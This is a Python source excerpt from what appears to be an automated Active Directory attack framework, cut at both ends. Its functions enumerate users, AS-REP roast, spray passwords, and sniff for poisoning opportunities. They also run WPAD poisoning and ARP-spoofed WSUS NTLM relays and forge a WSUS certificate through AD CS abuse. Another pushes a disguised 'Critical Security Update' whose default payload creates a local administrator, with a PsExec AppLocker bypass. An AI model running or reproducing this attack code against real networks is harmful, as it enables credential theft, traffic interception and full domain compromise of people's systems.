"""Pre-cut credential discovery: 6 zero-auth foothold techniques.
Order (cheap → expensive):
1. Username enum via Kerberos (kerbrute)
2. Username enum via CLDAP NetLogon ping (sensepost technique)
3. AS-REP roast against discovered users (still zero-auth)
4. Pre-2000 computer auto-test (default password = lowercase(host))
5. Password spray (only if --spray-password given)
Returns True if a credential was obtained (cfg.has_creds becomes True).
All output goes to cfg.work_dir/*.txt for offline review.
"""
if cfg.no_discover:
log.info("--no-discover — skipping credential discovery phase")
return False
if not (cfg.dc_ip and cfg.domain):
log.warning("Credential discovery needs cfg.dc_ip + cfg.domain — skipping")
return False
phase_header("PRE-CUT CREDENTIAL DISCOVERY (zero-auth foothold)")
def _userenum_pass(candidates: list[str]) -> set[str]:
"""Run kerbrute then CLDAP over a candidate list, return valid users."""
valid = set()
try:
kerb_valid = _userenum_kerbrute(cfg, candidates)
valid.update(kerb_valid)
except Exception as e:
kerb_valid = []
log.warning(f"kerbrute userenum failed: {e}")
cldap_input = list(dict.fromkeys(kerb_valid + candidates))
try:
valid.update(_userenum_cldap(cfg, cldap_input))
except Exception as e:
log.warning(f"CLDAP userenum failed: {e}")
return valid
# Userenum via KRB-ERROR / CLDAP NetLogon is read-only at the protocol
# level — no auth attempts, no lockout-counter ticks. So merge the
# curated AD-biased list with SecLists in one pass. Curated entries
# come first so they win the CLDAP cap (still 500 in _userenum_cldap).
if cfg.users_file:
# Operator explicitly chose a list — honor it as-is.
candidates = _load_user_candidates(cfg, tier="ad") # honors users_file inside
else:
ad = _load_user_candidates(cfg, tier="ad")
seclists = _load_user_candidates(cfg, tier="seclists")
# dedupe-preserving merge: curated first, then SecLists tail
candidates = list(dict.fromkeys(ad + seclists))
log.info(f"Candidates (curated ∪ SecLists, deduped): {len(candidates)}")
valid = _userenum_pass(candidates)
if valid:
cfg.discovered_users = sorted(valid)
users_file = cfg.work_dir / "valid-users.txt"
users_file.write_text("\n".join(cfg.discovered_users) + "\n")
ok(f"Confirmed {len(valid)} valid user(s) — saved to {users_file}")
else:
log.info("No users confirmed — falling back to candidate list for next steps")
cfg.discovered_users = candidates
# Step 3: AS-REP roast (zero-auth)
try:
if _asrep_roast_zero_auth(cfg, cfg.discovered_users):
return True
except Exception as e:
log.warning(f"AS-REP zero-auth roast failed: {e}")
# Step 4: Pre2k auto-test
try:
if _pre2k_autotest(cfg):
return True
except Exception as e:
log.warning(f"pre2k auto-test failed: {e}")
# Step 5: Spray (only if user explicitly opted in)
if cfg.spray_password:
try:
if _password_spray(cfg, cfg.discovered_users, cfg.spray_password):
return True
except Exception as e:
log.warning(f"Password spray failed: {e}")
else:
detail("No --spray-password given — skipping spray")
log.info("Credential discovery did not yield creds — falling through to ARP/WPAD/etc.")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Passive Traffic Discovery (WPAD / WSUS / LLMNR / DHCPv6)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def passive_sniff(cfg: Config, duration: int = 30) -> dict:
"""Passively sniff the network to detect WPAD, WSUS, LLMNR, DHCPv6, and PXE/TFTP traffic.
Uses tcpdump to listen for:
- LLMNR queries (UDP 5355) — indicates WPAD poisoning is viable
- mDNS queries (UDP 5353) — WPAD via mDNS
- DHCPv6 solicitations (UDP 547) — mitm6 attack is viable
- WSUS HTTP traffic (TCP 8530/8531) — active WSUS clients
- DNS queries for 'wpad' — WPAD in use
- NBT-NS queries (UDP 137) — NetBIOS name resolution for WPAD
- DHCP PXE boot (UDP 67/68) — PXE boot environment present
- TFTP traffic (UDP 69) — PXE image transfer or other unauth file transfers
- SCCM ProxyDHCP (UDP 4011) — SCCM PXE Distribution Point
Returns dict with keys: wpad_llmnr, wpad_mdns, wpad_dns, dhcpv6, wsus, nbtns, pxe, tftp
each containing a list of source IPs seen.
"""
phase_header("PASSIVE NETWORK DISCOVERY")
log.info(f"👂 Listening passively for {duration}s to detect WPAD/WSUS/PXE/LLMNR/DHCPv6 traffic...")
results = {
"wpad_llmnr": set(),
"wpad_mdns": set(),
"wpad_dns": set(),
"dhcpv6": set(),
"wsus": set(),
"nbtns": set(),
"pxe": set(),
"tftp": set(),
"domains": set(), # Domain names seen in traffic
"dcs": {}, # ip -> set of AD services seen on that IP's well-known ports
}
if not tool_exists("tcpdump"):
log.warning("tcpdump not found — skipping passive discovery (apt install tcpdump)")
return {k: list(v) for k, v in results.items()}
iface = cfg.iface or "eth0"
capture_file = cfg.work_dir / "passive-capture.txt"
# Capture filter: LLMNR, mDNS, DHCPv6, WSUS, DNS, NBT-NS, PXE/DHCP, TFTP,
# SCCM, plus AD-DC fingerprinting ports (Kerberos/LDAP/LDAPS/SMB).
bpf = (
"udp port 5355 or " # LLMNR
"udp port 5353 or " # mDNS
"udp port 547 or " # DHCPv6
"tcp port 8530 or " # WSUS HTTP
"tcp port 8531 or " # WSUS HTTPS
"udp port 53 or " # DNS
"udp port 137 or " # NBT-NS
"udp port 67 or " # DHCP server (PXE boot requests)
"udp port 68 or " # DHCP client
"udp port 69 or " # TFTP (PXE image transfers)
"udp port 4011 or " # SCCM ProxyDHCP
"tcp port 88 or " # Kerberos (DC)
"udp port 88 or " # Kerberos UDP (DC)
"tcp port 389 or " # LDAP (DC)
"tcp port 636 or " # LDAPS (DC)
"tcp port 445" # SMB (DC and member servers)
)
# Run tcpdump for the full duration — timeout is the only limit
# (no -c flag, so it captures all packets until timeout expires)
log.info(f"Capturing for {duration}s on {iface}...")
result = run(
["tcpdump", "-i", iface, "-n", "-l", bpf],
cfg, timeout=duration, capture=True,
outfile=capture_file
)
if not capture_file.exists():
log.warning("No traffic captured")
return {k: list(v) for k, v in results.items()}
content = capture_file.read_text()
for line in content.splitlines():
src_match = re.match(r"[\d:.]+ IP6? (\S+?)[\.\d]* > ", line)
if not src_match:
src_match = re.match(r"[\d:.]+ (\d+\.\d+\.\d+\.\d+)\.\d+ > ", line)
src_ip = src_match.group(1) if src_match else ""
line_lower = line.lower()
# LLMNR (port 5355)
if ".5355" in line and src_ip:
if "wpad" in line_lower:
results["wpad_llmnr"].add(src_ip)
else:
results["wpad_llmnr"].add(src_ip) # Any LLMNR = poisoning viable
# mDNS (port 5353)
if ".5353" in line and "wpad" in line_lower and src_ip:
results["wpad_mdns"].add(src_ip)
# DHCPv6 (port 547) — Solicit messages
if ".547" in line and src_ip:
results["dhcpv6"].add(src_ip)
# WSUS traffic (ports 8530/8531)
if (".8530" in line or ".8531" in line) and src_ip:
results["wsus"].add(src_ip)
# DNS queries for wpad
if "53" in line and "wpad" in line_lower and src_ip:
results["wpad_dns"].add(src_ip)
# NBT-NS (port 137) — wpad queries
if ".137" in line and "wpad" in line_lower and src_ip:
results["nbtns"].add(src_ip)
# PXE boot — DHCP with PXEClient vendor class or boot filename
if (".67" in line or ".68" in line) and src_ip:
if "pxe" in line_lower or "boot" in line_lower or "wds" in line_lower:
results["pxe"].add(src_ip)
# TFTP traffic (port 69) — image transfer, no authentication
if ".69" in line and src_ip:
results["tftp"].add(src_ip)
# SCCM ProxyDHCP (port 4011)
if ".4011" in line and src_ip:
results["pxe"].add(src_ip)
# AD DC fingerprinting: any host seen on a well-known AD service port
# is a candidate Domain Controller (or member server for SMB).
# Greedy [\w.:]+ swallows v4 and v6 addresses; backtracks to the
# rightmost ".<digits>" boundary.
ad_ports = {
"88": "Kerberos",
"389": "LDAP",
"636": "LDAPS",
"445": "SMB",
}
endpoint = re.match(
r"\d{2}:\d{2}:\d{2}\.\d+\s+IP6?\s+([\w.:]+)\.(\d+)\s+>\s+([\w.:]+)\.(\d+)",
line,
)
if endpoint:
s_ip, s_port, d_ip, d_port = endpoint.groups()
if s_port in ad_ports:
results["dcs"].setdefault(s_ip, set()).add(ad_ports[s_port])
if d_port in ad_ports:
results["dcs"].setdefault(d_ip, set()).add(ad_ports[d_port])
# AD-aware DNS SRV: `_ldap._tcp.dc._msdcs.<domain>` queries are the
# canonical "find me a DC" signal. The destination of the query is
# an AD-integrated DNS server (frequently the DC itself).
msdcs_match = re.search(
r"SRV\?\s+(?:_\w+\._\w+\.)?dc\._msdcs\.([\w.-]+)",
line, re.IGNORECASE
)
if msdcs_match:
dom = msdcs_match.group(1).lower().rstrip(".")
if dom:
results["domains"].add(dom)
# The destination of the DNS query is the candidate AD DNS/DC
dns_dst = re.search(
r"\s+>\s+([\w.:]+)\.53\b", line
)
if dns_dst:
results["dcs"].setdefault(dns_dst.group(1), set()).add("AD-DNS")
# Extract domain names from DNS queries, Kerberos, LDAP, SMB traffic
# DNS queries: "A? dc01.corp.local" or "SRV? _ldap._tcp.corp.local"
dns_match = re.findall(r"[A-Z]+\?\s+\S+?\.([a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:\.[a-zA-Z]{2,})?)", line)
for dom in dns_match:
dom = dom.lower().rstrip(".")
# Filter out non-AD domains
if dom and not dom.endswith((".in-addr.arpa", ".ip6.arpa", ".cloudfront.net",
".googleapis.com", ".amazonaws.com", ".azure.com",
".microsoft.com", ".windows.com", ".akamai.net",
".google.com", ".gstatic.com")):
results["domains"].add(dom)
# Kerberos: realm names in AS-REQ/TGS-REQ
krb_match = re.findall(r"realm[:\s]+([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})", line, re.IGNORECASE)
for dom in krb_match:
results["domains"].add(dom.lower())
# NTLM: domain names in NTLMSSP messages
ntlm_match = re.findall(r"NTLMSSP.*?(?:Domain|Target)[:\s]+([a-zA-Z0-9.-]+)", line, re.IGNORECASE)
for dom in ntlm_match:
if "." in dom:
results["domains"].add(dom.lower())
# Report findings
separator()
found_anything = False
if results["wpad_llmnr"]:
ok(f"📡 LLMNR queries detected from {len(results['wpad_llmnr'])} host(s) — WPAD poisoning viable")
for ip in sorted(results["wpad_llmnr"]):
detail(ip)
found_anything = True
if results["wpad_dns"]:
ok(f"🌐 WPAD DNS queries from {len(results['wpad_dns'])} host(s)")
for ip in sorted(results["wpad_dns"]):
detail(ip)
found_anything = True
if results["dhcpv6"]:
ok(f"🔌 DHCPv6 solicitations from {len(results['dhcpv6'])} host(s) — mitm6 attack viable")
for ip in sorted(results["dhcpv6"]):
detail(ip)
found_anything = True
if results["wsus"]:
ok(f"📦 WSUS traffic from {len(results['wsus'])} host(s) — WSUS relay viable")
for ip in sorted(results["wsus"]):
detail(ip)
found_anything = True
if results["nbtns"]:
ok(f"📡 NBT-NS WPAD queries from {len(results['nbtns'])} host(s)")
for ip in sorted(results["nbtns"]):
detail(ip)
found_anything = True
if results["pxe"]:
ok(f"🖥️ PXE boot traffic from {len(results['pxe'])} host(s) — PXE credential theft viable")
for ip in sorted(results["pxe"]):
detail(ip)
found_anything = True
if results["tftp"]:
ok(f"📂 TFTP traffic from {len(results['tftp'])} host(s) — unauthenticated file transfers")
for ip in sorted(results["tftp"]):
detail(ip)
found_anything = True
if results["dcs"]:
# Sort DC candidates by service-count descending so the strongest
# candidate is reported first. AD-DNS-only is the weakest signal.
ranked = sorted(
results["dcs"].items(),
key=lambda kv: (-len(kv[1]), kv[0]),
)
ok(f"🏛️ AD DC candidate(s) detected: {len(ranked)}")
for ip, svcs in ranked:
detail(f"{ip} ({', '.join(sorted(svcs))})")
# Auto-fill cfg.dc_ip if a strong candidate exists and not user-set.
# Strong = has at least Kerberos or LDAP (i.e., not just AD-DNS).
if not cfg.dc_ip:
for ip, svcs in ranked:
if {"Kerberos", "LDAP", "LDAPS"} & svcs:
cfg.dc_ip = ip
ok(f"Auto-detected DC IP from passive sniff: {cfg.dc_ip}")
break
found_anything = True
if results["domains"]:
ok(f"🏢 Domain name(s) detected in traffic:")
for dom in sorted(results["domains"]):
detail(dom)
found_anything = True
# Auto-set domain if not already specified
if not cfg.domain:
# Prefer domains with common AD TLDs
best_domain = ""
for dom in sorted(results["domains"]):
if dom.endswith((".local", ".internal", ".corp", ".lan", ".ad")):
best_domain = dom
break
if not best_domain:
best_domain = sorted(results["domains"])[0]
cfg.domain = best_domain
ok(f"Auto-detected domain from traffic: {cfg.domain}")
if not found_anything:
log.warning(f"No WPAD/WSUS/PXE/LLMNR/DHCPv6 traffic detected in {duration}s")
log.warning("This doesn't mean attacks won't work — clients may not have queried yet")
# Save results
discovery_file = cfg.work_dir / "passive-discovery.txt"
lines = []
for key, ips in results.items():
if not ips:
continue
lines.append(f"[{key}]")
if key == "dcs":
# dict of ip -> set(services)
for ip, svcs in sorted(ips.items()):
lines.append(f" {ip} ({', '.join(sorted(svcs))})")
else:
for ip in sorted(ips):
lines.append(f" {ip}")
if lines:
discovery_file.write_text("\n".join(lines) + "\n")
detail(f"Results saved to {discovery_file}")
out = {}
for k, v in results.items():
out[k] = {ip: sorted(s) for ip, s in v.items()} if k == "dcs" else list(v)
return out
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 4: WPAD Poisoning (mitm6 / Responder)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def detect_wsus_server(cfg: Config) -> str:
"""Try to discover WSUS server on the network via LDAP GPO or port scan."""
if cfg.wsus_server:
return cfg.wsus_server
# Scan common WSUS ports on the subnet
log.info("🔍 Scanning for WSUS servers (ports 8530/8531)...")
if not tool_exists("nmap"):
log.warning("nmap not available for WSUS discovery")
return ""
target = cfg.specific_target or cfg.target_net or cfg.dc_ip
if not target:
return ""
result = run(
["nmap", "-sT", "-n", "-Pn", "--open", "-p", "8530,8531", target],
cfg, timeout=120
)
hosts = re.findall(
r"Nmap scan report for (\d+\.\d+\.\d+\.\d+).*?(?:8530|8531)/tcp\s+open",
result.stdout, re.DOTALL
)
if hosts:
wsus = hosts[0]
ok(f"WSUS server found: {wsus}")
cfg.wsus_server = wsus
return wsus
log.warning("No WSUS server detected on network")
return ""
def run_wpad_attack(cfg: Config) -> bool:
"""Run WPAD poisoning via mitm6 or Responder + ntlmrelayx relay.
mitm6 poisons IPv6 DNS → victims resolve WPAD to attacker →
ntlmrelayx serves WPAD proxy auth → captures/relays NTLM.
"""
phase_header("PHASE 4: WPAD POISONING")
relay_target = cfg.specific_target or (f"ldaps://{cfg.dc_ip}" if cfg.dc_ip else "")
if not relay_target:
log.error("No relay target — need --target or --dc-ip for WPAD relay")
return False
iface = cfg.iface or "eth0"
relay_output = cfg.work_dir / "wpad-relay.txt"
hash_output = cfg.work_dir / "wpad-hashes"
bg_procs = []
use_mitm6 = tool_exists("mitm6")
use_responder = tool_exists("responder")
if not use_mitm6 and not use_responder:
log.error("Need mitm6 or responder for WPAD attack")
log.warning("Install: pipx install mitm6 OR apt install responder")
return False
try:
# Start ntlmrelayx with WPAD hosting
relay_cmd = [
"impacket-ntlmrelayx",
"-t", relay_target,
"-smb2support",
"-of", str(hash_output),
"--no-smb-server",
]
if cfg.dc_ip and relay_target.startswith("ldap"):
relay_cmd += ["-wh", f"wpad.{cfg.domain}"]
if not cfg.no_shadow_creds:
relay_cmd += ["--shadow-credentials"]
elif not cfg.no_rbcd:
relay_cmd += ["--delegate-access"]
else:
relay_cmd += ["-wh", f"wpad.{cfg.domain}"]
if cfg.use_socks:
relay_cmd += ["-socks"]
# AppLocker-aware command execution
if cfg.applocker and cfg.custom_cmd:
relay_cmd += ["--execute-cmd", _build_applocker_cmd(cfg)]
elif cfg.custom_cmd:
relay_cmd += ["--execute-cmd", cfg.custom_cmd]
relay_cmd += ["-6"] # Listen on IPv4 and IPv6
log.info("🎣 Starting ntlmrelayx with WPAD hosting...")
relay_proc = run(relay_cmd, cfg, bg=True, outfile=relay_output)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx for WPAD relay")
return False
bg_procs.append(relay_proc)
time.sleep(3)
if relay_proc.poll() is not None:
log.error(f"ntlmrelayx exited immediately (code {relay_proc.returncode})")
return False
# Start poisoning
if use_mitm6 and cfg.domain:
log.info(f"🌐 Starting mitm6 IPv6 DNS poisoning for {cfg.domain}...")
mitm6_cmd = ["mitm6", "-d", cfg.domain, "-i", iface]
mitm6_proc = run(
mitm6_cmd, cfg, bg=True,
outfile=cfg.work_dir / "mitm6.txt"
)
if hasattr(mitm6_proc, 'poll'):
bg_procs.append(mitm6_proc)
elif use_responder:
log.info(f"📡 Starting Responder WPAD poisoning on {iface}...")
resp_cmd = ["responder", "-I", iface, "-wPv"]
resp_proc = run(
resp_cmd, cfg, bg=True,
outfile=cfg.work_dir / "responder-wpad.txt"
)
if hasattr(resp_proc, 'poll'):
bg_procs.append(resp_proc)
ok("WPAD poisoning + relay running, waiting for victims...")
max_wait = cfg.poison_duration
waited = 0
captured = False
while waited < max_wait:
if relay_output.exists():
content = relay_output.read_text()
if re.search(r"authenticated|SUCCEED|hash|delegate|computer.*account",
content, re.IGNORECASE):
ok("🎣 Captured NTLM authentication via WPAD!")
captured = True
break
time.sleep(5)
waited += 5
if waited % 30 == 0:
log.info(f"⏳ WPAD poisoning active... ({waited}/{max_wait}s)")
# Extract any captured hashes
extract_hashes(cfg)
if captured:
success_box("WPAD poisoning captured authentication")
return True
else:
log.warning(f"No WPAD authentication captured within {max_wait}s")
log.warning("Clients may need to trigger WPAD (e.g., open browser, Windows Update)")
return False
finally:
log.info("🛑 Stopping WPAD poisoning...")
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 5: WSUS Exploitation
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _acquire_wsus_cert(wsus_server: str, cfg: Config) -> tuple[str, str] | None:
"""Abuse AD CS to get a certificate trusted by WSUS clients.
Per TrustedSec research: find a template with "Enrollee Supplies Subject"
enabled, request a cert with the WSUS server's FQDN as SAN, extract
PEM cert + key for ntlmrelayx HTTPS interception.
"""
if not tool_exists("certipy"):
return None
cert_dir = cfg.work_dir / "wsus-cert"
cert_dir.mkdir(exist_ok=True)
template = ""
ca_name = ""
# Step 1a: Try Certihound first (ESC1 implies Enrollee Supplies Subject)
ch_result = _certihound_find(cfg)
if ch_result:
for esc, tmpl in ch_result["vulns"]:
if esc == "ESC1" and tmpl and tmpl != "unknown":
template = tmpl
break
ca_name = ch_result["ca_name"]
# Step 1b: Fallback to certipy find if Certihound missed it
if not template or not ca_name:
log.info("🔍 Enumerating AD CS templates with certipy...")
find_result = run(
["certipy", "find", "-u", f"{cfg.username}@{cfg.domain}",
"-p", cfg.password, "-dc-ip", cfg.dc_ip, "-enabled",
"-stdout"],
cfg, timeout=120
)
if find_result.returncode != 0:
log.warning("certipy enumeration failed")
return None
if "Enrollee Supplies Subject" not in find_result.stdout:
log.warning("No vulnerable AD CS templates found (need 'Enrollee Supplies Subject')")
return None
if not template:
template_match = re.search(
r"Template Name\s*:\s*(\S+).*?Enrollee Supplies Subject\s*:\s*True",
find_result.stdout, re.DOTALL
)
if not template_match:
log.warning("Could not parse vulnerable template name from certipy output")
return None
template = template_match.group(1)
if not ca_name:
ca_match = re.search(r"CA Name\s*:\s*(.+)", find_result.stdout)
ca_name = ca_match.group(1).strip() if ca_match else ""
ok(f"Found vulnerable template: {template}")
if not ca_name:
log.warning("Could not determine CA name")
return None
# Resolve WSUS FQDN
wsus_fqdn = wsus_server
if not "." in wsus_fqdn and cfg.domain:
wsus_fqdn = f"{wsus_server}.{cfg.domain}"
# Step 2: Request certificate with WSUS server SAN
pfx_path = cert_dir / "wsus.pfx"
log.info(f"📜 Requesting certificate for {wsus_fqdn} via template '{template}'...")
req_result = run(
["certipy", "req",
"-u", f"{cfg.username}@{cfg.domain}",
"-p", cfg.password,
"-ca", ca_name,
"-template", template,
"-subject", f"CN={wsus_fqdn}",
"-dns", wsus_fqdn,
"-out", str(pfx_path),
"-dc-ip", cfg.dc_ip],
cfg, timeout=60
)
if req_result.returncode != 0 or not pfx_path.exists():
log.warning("Certificate request failed")
return None
# Step 3: Extract cert and key from PFX
cert_path = cert_dir / "wsus.crt"
key_path = cert_dir / "wsus.key"
run(["openssl", "pkcs12", "-in", str(pfx_path), "-clcerts", "-nokeys",
"-out", str(cert_path), "-passin", "pass:"], cfg, timeout=10)
run(["openssl", "pkcs12", "-in", str(pfx_path), "-nocerts", "-nodes",
"-out", str(key_path), "-passin", "pass:"], cfg, timeout=10)
if cert_path.exists() and key_path.exists():
ok(f"Extracted cert: {cert_path}")
ok(f"Extracted key: {key_path}")
return str(cert_path), str(key_path)
log.warning("Failed to extract cert/key from PFX")
return None
def run_wsus_relay(cfg: Config) -> bool:
"""Intercept WSUS client traffic via ARP spoof + ntlmrelayx on port 8530/8531.
Based on TrustedSec research: ARP spoof → redirect WSUS HTTP traffic →
ntlmrelayx captures machine account NTLM → relay to LDAP/SMB.
"""
phase_header("PHASE 5a: WSUS NTLM RELAY")
wsus_server = detect_wsus_server(cfg)
if not wsus_server:
log.warning("No WSUS server found — skipping WSUS relay")
return False
port = cfg.wsus_port or (WSUS_HTTPS_PORT if cfg.wsus_https else WSUS_HTTP_PORT)
relay_target = cfg.specific_target or (f"ldap://{cfg.dc_ip}" if cfg.dc_ip else "")
if not relay_target:
log.error("Need --target or --dc-ip for WSUS relay")
return False
iface = cfg.iface or "eth0"
relay_output = cfg.work_dir / "wsus-relay.txt"
hash_output = cfg.work_dir / "wsus-hashes"
bg_procs = []
spoof_tool = find_tool("arpspoof", "bettercap")
if not spoof_tool:
log.error("Need arpspoof or bettercap for WSUS relay")
return False
# Auto-acquire certificate for HTTPS interception via AD CS abuse
if cfg.wsus_https and not cfg.wsus_certfile and cfg.has_creds and tool_exists("certipy"):
log.info("🔐 Attempting AD CS certificate abuse for WSUS HTTPS interception...")
cert_result = _acquire_wsus_cert(wsus_server, cfg)
if cert_result:
cfg.wsus_certfile, cfg.wsus_keyfile = cert_result
ok(f"Certificate acquired: {cfg.wsus_certfile}")
else:
log.warning("Could not auto-acquire certificate — HTTPS relay may fail")
# Enable IP forwarding
old_forward = "0"
try:
old_forward = Path("/proc/sys/net/ipv4/ip_forward").read_text().strip()
Path("/proc/sys/net/ipv4/ip_forward").write_text("1")
except OSError as e:
log.error(f"Cannot enable IP forwarding: {e}")
return False
try:
# Set up iptables redirect for WSUS port
log.info(f"🔀 Redirecting port {port} traffic via iptables...")
run(["iptables", "-t", "nat", "-A", "PREROUTING",
"-p", "tcp", "--dport", str(port), "-j", "REDIRECT",
"--to-ports", str(port)], cfg, timeout=10)
# Start ntlmrelayx on the WSUS port
relay_cmd = [
"impacket-ntlmrelayx",
"-t", relay_target,
"-smb2support",
"-of", str(hash_output),
"--http-port", str(port),
"--keep-relaying",
"-socks",
]
if cfg.wsus_https and cfg.wsus_certfile and cfg.wsus_keyfile:
relay_cmd += [
"--https",
"--certfile", cfg.wsus_certfile,
"--keyfile", cfg.wsus_keyfile,
]
log.info(f"🎣 Starting ntlmrelayx on port {port} for WSUS relay...")
relay_proc = run(relay_cmd, cfg, bg=True, outfile=relay_output)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx for WSUS relay")
return False
bg_procs.append(relay_proc)
time.sleep(2)
if relay_proc.poll() is not None:
log.error(f"ntlmrelayx exited immediately (code {relay_proc.returncode})")
return False
# ARP spoof WSUS clients → attacker (so their WSUS traffic hits us)
# We need to discover which hosts are talking to the WSUS server
live_hosts = discover_live_hosts(cfg) if not cfg.specific_target else [cfg.specific_target]
for target in live_hosts[:5]: # Limit to first 5 hosts
if target == wsus_server or target == cfg.attacker_ip:
continue
log.info(f"🔀 ARP spoof: {target} ↔ {wsus_server}")
if "bettercap" in spoof_tool:
bp = run(
["bettercap", "-iface", iface, "-eval",
f"set arp.spoof.targets {target}; set arp.spoof.internal true; arp.spoof on"],
cfg, bg=True, outfile=cfg.work_dir / f"wsus-arp-{target}.txt"
)
if hasattr(bp, 'poll'):
bg_procs.append(bp)
else:
p1 = run(
["arpspoof", "-i", iface, "-t", target, wsus_server],
cfg, bg=True, outfile=cfg.work_dir / f"wsus-arp-{target}-1.txt"
)
p2 = run(
["arpspoof", "-i", iface, "-t", wsus_server, target],
cfg, bg=True, outfile=cfg.work_dir / f"wsus-arp-{target}-2.txt"
)
for p in [p1, p2]:
if hasattr(p, 'poll'):
bg_procs.append(p)
ok(f"WSUS relay active on port {port}, spoofing {len(live_hosts)} client(s)...")
log.info("💡 Tip: Trigger client check-in remotely: wuauclt.exe /detectnow")
max_wait = cfg.poison_duration * 2 # WSUS needs longer (check-in intervals)
waited = 0
captured = False
while waited < max_wait:
if relay_output.exists():
content = relay_output.read_text()
if re.search(r"authenticated|SUCCEED|machine.*account|\$::",
content, re.IGNORECASE):
ok("🎣 Captured WSUS machine account NTLM!")
captured = True
break
time.sleep(5)
waited += 5
if waited % 60 == 0:
log.info(f"⏳ WSUS relay listening... ({waited}/{max_wait}s)")
extract_hashes(cfg)
if captured:
success_box("WSUS relay captured machine account authentication")
else:
log.warning(f"No WSUS auth captured within {max_wait}s")
log.warning("WSUS clients check in every 22h by default; consider --poison-duration 86400")
return captured
finally:
log.info("🛑 Stopping WSUS relay...")
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
# Clean up iptables rules
log.info("🧹 Removing iptables redirect rules...")
run(["iptables", "-t", "nat", "-D", "PREROUTING",
"-p", "tcp", "--dport", str(port), "-j", "REDIRECT",
"--to-ports", str(port)], cfg, timeout=10)
# Restore IP forwarding
try:
Path("/proc/sys/net/ipv4/ip_forward").write_text(old_forward)
except Exception:
pass
def run_wsus_inject(cfg: Config) -> bool:
"""Push a malicious update via WSUS using wsuks.
If AppLocker is active, uses Microsoft-signed PsExec as the update payload
to bypass execution restrictions. Updates run as SYSTEM from a trusted path.
"""
phase_header("PHASE 5b: WSUS UPDATE INJECTION")
if not tool_exists("wsuks"):
log.error("wsuks not found (pipx install wsuks --system-site-packages)")
return False
wsus_server = cfg.wsus_server or detect_wsus_server(cfg)
if not wsus_server:
log.error("No WSUS server specified or found — need --wsus-server")
return False
port = cfg.wsus_port or (WSUS_HTTPS_PORT if cfg.wsus_https else WSUS_HTTP_PORT)
# Determine payload command
if cfg.custom_cmd:
payload_cmd = cfg.custom_cmd
else:
payload_cmd = f"cmd.exe /c net user /add hax0r P@ssw0rd123! && net localgroup administrators hax0r /add"
log.warning(f"No --custom-cmd specified, using default: {payload_cmd}")
# If AppLocker mode, wrap command for bypass
if cfg.applocker:
payload_cmd = _build_applocker_cmd(cfg, fallback_cmd=payload_cmd)
# Find PsExec for signed-binary delivery (bypasses AppLocker)
psexec_path = None
for candidate in [
TOOLS_DIR / "misc_files" / "SysinternalsSuite" / "PsExec64.exe",
TOOLS_DIR / "misc_files" / "PsExec64.exe",
Path("/usr/share/windows-resources/binaries/PsExec64.exe"),
]:
if candidate.exists():
psexec_path = str(candidate)
break
output_file = cfg.work_dir / "wsus-inject.txt"
if psexec_path and cfg.applocker:
# Use PsExec as the signed binary payload — bypasses AppLocker
log.info("🔑 Using Microsoft-signed PsExec for AppLocker bypass via WSUS...")
inject_cmd = [
"wsuks",
"--server", wsus_server,
"--port", str(port),
"--action", "inject",
"--executable", psexec_path,
"--args", f"-accepteula -s -d {payload_cmd}",
"--title", "Critical Security Update KB5099999",
"--approve-all",
]
else:
# Direct injection
log.info("📦 Injecting malicious WSUS update...")
inject_cmd = [
"wsuks",
"--server", wsus_server,
"--port", str(port),
"--action", "inject",
"--executable", payload_cmd.split()[0] if " " in payload_cmd else "cmd.exe",
"--args", payload_cmd if " " not in payload_cmd else " ".join(payload_cmd.split()[1:]),
"--title", "Critical Security Update KB5099999",
"--approve-all",
]
if cfg.wsus_https:
inject_cmd += ["--https"]
result = run(inject_cmd, cfg, timeout=120, outfile=output_file)
if result.returncode == 0:
success_box("WSUS update injected successfully")
ok("Clients will execute payload on next update check")
detail("Force check-in: wuauclt.exe /detectnow OR UsoClient.exe StartScan")
if cfg.applocker:
ok("AppLocker bypass: payload delivered via trusted WSUS channel as SYSTEM")
return True
else:
log.error("WSUS injection failed")
if output_file.exists():
log.error(output_file.read_text()[-500:])
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Phase 6: PXE Boot Image Credential Theft
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def detect_pxe_server(cfg: Config) -> str:
"""Discover PXE/WDS server via nmap scan for TFTP (port 69) and WDS (UDP 4011)."""
log.info("🔍 Scanning for PXE/WDS servers (TFTP port 69, WDS port 4011)...")
if not tool_exists("nmap"):
log.warning("nmap not available for PXE discovery")
return ""
target = cfg.specific_target or cfg.target_net or cfg.dc_ip
if not target:
return ""
result = run(
["nmap", "-sU", "-n", "-Pn", "--open", "-p", "69,4011", target],
cfg, timeout=120
)
hosts = re.findall(
r"Nmap scan report for (\d+\.\d+\.\d+\.\d+).*?(?:69|4011)/udp\s+open",
result.stdout, re.DOTALL
)
if hosts:
pxe = hosts[0]
